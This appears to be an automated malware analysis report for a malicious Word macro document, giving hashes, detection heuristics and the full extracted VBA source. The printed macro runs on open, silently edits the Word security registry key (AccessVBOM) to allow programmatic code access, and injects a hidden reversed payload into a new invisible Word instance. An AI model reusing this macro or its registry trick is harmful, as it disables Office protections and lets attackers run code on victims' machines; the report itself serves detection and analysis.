Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 0dd2a08f7579d467…

MALICIOUS

Office (OOXML)

76.2 KB Created: 2021-05-07 10:26:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-10
MD5: f08457ce09441c9fa1dfbec91094047e SHA-1: c33767703d197c031ea688ae5a065a7e8f8e9d69 SHA-256: 0dd2a08f7579d467668f01babea3d9f46c76e596c8f25369f8df87a6b279ed10
230 Risk Score

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    With CreateObject("wscript.shell")
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    .AddFromString convertRefA
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set sizeRight = CreateObject("word.application")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1953 bytes
SHA-256: 94bfa0e7fb5ff4197a46fb560e16a4f9365734e98ccf0802a1a303ef3d5d9ef6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{6DDD2B58-64BB-4205-AA26-156CA89C0B22}{66EE3AF6-B1F3-4949-A9A9-FB87F0D8B56B}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "namespaceConvert"
Sub autoopen()
removeLoadTemp
Dim textTrust As String
textTrust = loadSizeGlobal
pointerStructArray textTrust
End Sub

Attribute VB_Name = "removeConstButton"
Sub pointerStructArray(convertRefA As String)
Set sizeRight = CreateObject("word.application")
With sizeRight.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
.AddFromString convertRefA
End With
sizeRight.Visible = False
sizeRight.Quit SaveChanges:=wdDoNotSaveChanges
End Sub

Attribute VB_Name = "databaseMemory"
Function dataViewStorage() As String
dataViewStorage = Application.Version
End Function
Sub globalVariableProc()
With CreateObject("wscript.shell")
.RegWrite variableVariable("listboxQueryTable") & dataViewStorage & removeNext("sizeArrayList"), 1, "REG_DWORD"
End With
End Sub
Function variableVariable(tmpNamespace)
variableVariable = "HKEY_CURRENT_USER\Software\Microsoft\Office\"
End Function
Function removeNext(tmpNamespace)
removeNext = "\Word\Security\" & deleteLocalCaption("countValueLoad")
End Function
Function deleteLocalCaption(tmpNamespace)
deleteLocalCaption = Replace("1BOM", "1", "AccessV")
End Function
Sub removeLoadTemp()
globalVariableProc
End Sub
Function loadSizeGlobal()
loadSizeGlobal = StrReverse(UserForm1.TextBox1)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 23552 bytes
SHA-256: fe104d80e23dfae29d0596a9107e80a733a54816b0237c085190a8d1b970a565

Open this report in the interactive analyzer, or submit your own file for analysis.